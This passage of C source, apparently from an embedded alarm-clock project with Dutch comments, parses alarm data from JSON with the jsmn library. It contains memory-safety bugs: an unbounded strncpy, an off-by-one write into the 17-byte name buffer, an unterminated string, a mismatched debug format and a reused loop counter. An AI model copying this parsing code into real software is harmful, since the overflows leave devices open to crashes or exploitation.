&tokens[token_num], key) == 0) { token_len = tokens[token_num + 1].end - tokens[token_num + 1].start; EVEL_DEBUG("Token %d len %d matches at %d to %d", token_num, tokens[token_num + 1].start, tokens[token_num + 1].end); strncpy(value, json_string + tokens[token_num + 1].start, token_len); value[token_len] = '\0'; EVEL_DEBUG("Extracted key: \"%s\" Value: \"%s\"", key, value); rc = EVEL_SUCCESS; goto exit_label; } else { EVEL_DEBUG("String key did not match"); } /***********************************************************************/ /* Step over the value, whether we used it or not. */ /***********************************************************************/ token_num++; break; case JSMN_PRIMITIVE: EVEL_INFO("Skipping primitive"); break; case JSMN_UNDEFINED: default: rc = EVEL_BAD_JSON_FORMAT; EVEL_ERROR("Unexpected JSON format at token %d (%d)", token_num, tokens[token_num].type); goto exit_label; } } exit_label: EVEL_EXIT(); return rc; }
void parseAlarmJson(char* content){ int r; int i = 2; int startidx = 0; int charAmount = 0; int usedAlarms[maxAlarms()]; int j; jsmn_parser p; jsmntok_t token[160]; /* We expect no more than 128 tokens */ jsmn_init(&p); r = jsmn_parse(&p, content, strlen(content), token, sizeof(token)/sizeof(token[0])); if (r <= 0) { printf("Failed to parse JSON: %d \n", r); return; }else{ printf("Aantal tokens found: %d \n", r); } struct _tm time = GetRTCTime(); for(j = 0; j < maxAlarms(); j++){ usedAlarms[j] = 0; } for(i = 2; i < r; i++) { int id = 0; u_short port = 0; char url[24]; char ip[24]; char name[17]; char str2[16]; char st = -1; char oo = -1; memset(url, 0, 24); memset(ip, 0, 24); memset(name, 0, 17); for (i = i; (st == -1 && i < r); i+=2) { //Zodra ST is gevonden, betekent dit de laatste token van een alarm. if (jsoneq(content, &token[i], "YYYY") == 0) { time.tm_year= getIntegerToken(content, &token[i + 1]) - 1900; }else if (jsoneq(content, &token[i], "MM") == 0) { time.tm_mon= getIntegerToken(content, &token[i + 1]) - 1; }else if (jsoneq(content, &token[i], "DD") == 0) { time.tm_mday = getIntegerToken(content, &token[i + 1]); }else if (jsoneq(content, &token[i], "hh") == 0) { time.tm_hour = getIntegerToken(content, &token[i + 1]); }else if (jsoneq(content, &token[i], "mm") == 0) { time.tm_min = getIntegerToken(content, &token[i + 1]); }else if (jsoneq(content, &token[i], "ss") == 0) { time.tm_sec = getIntegerToken(content, &token[i + 1]); }else if (jsoneq(content, &token[i], "id") == 0) { id = getIntegerToken(content, &token[i + 1]); }else if (jsoneq(content, &token[i], "port") == 0) { port = getIntegerToken(content, &token[i + 1]); }else if (jsoneq(content, &token[i], "ip") == 0) { getStringToken(content, &token[i + 1], ip, 24); }else if (jsoneq(content, &token[i], "url") == 0) { getStringToken(content, &token[i + 1], url, 24); }else if (jsoneq(content, &token[i], "name") == 0) { getStringToken(content, &token[i + 1], name, 18); }else if (jsoneq(content, &token[i], "oo") == 0) { oo = getIntegerToken(content, &token[i + 1]); }else if (jsoneq(content, &token[i], "st") == 0) { st = getIntegerToken(content, &token[i + 1]); } } int idx = alarmExist(id); if(idx == -1){ printf("New alarm found!\n"); printf("Alarm time is: %02d:%02d:%02d\n", time.tm_hour, time.tm_min, time.tm_sec); printf("Alarm date is: %02d.%02d.%02d\n", time.tm_mday, (time.tm_mon + 1), (time.tm_year + 1900)); printf("Alarm stream data is: %s:%d%s\n", ip, port, url); printf("Alarm id and name and st is: %d %s %d\n\n", id, name, st); charAmount = 0; for (i = 0; i < 16;i++){ if (name[i] != 0){ charAmount = charAmount + 1; } } startidx = (8-(charAmount/2)); charAmount = 0; for(i = 0; i < 16; i++){ if (i >= startidx){ if (name[charAmount] != 0){ str2[i] = name[charAmount]; } else { str2[i] = ' '; } charAmount++; } else { str2[i] = ' '; } } //zoek naar een vrije plaats in de alarm array for(j = 0; j < maxAlarms(); j++){ if(usedAlarms[j] == 0){ //Dit is een lege plaats, hier kunnen we ons nieuwe alarm plaatsen if (oo == 1){ eenmaligAlarm(time,str2,ip,port,url,st,id,j); } else { setAlarm(time, str2, ip, port, url, st, id, j); } usedAlarms[j] = 1; j = 10; //Uit de for loop } } }else{ usedAlarms[idx] = 1; //Alarm bestaat al, dus we houden deze plaats vrij voor dat alarm } } for(j = 0; j < maxAlarms(); j++){ //Alle overige plaatsen, die wij niet gezet hebben, verwijderen. if(usedAlarms[j] == 0){ deleteAlarm(j); }; } }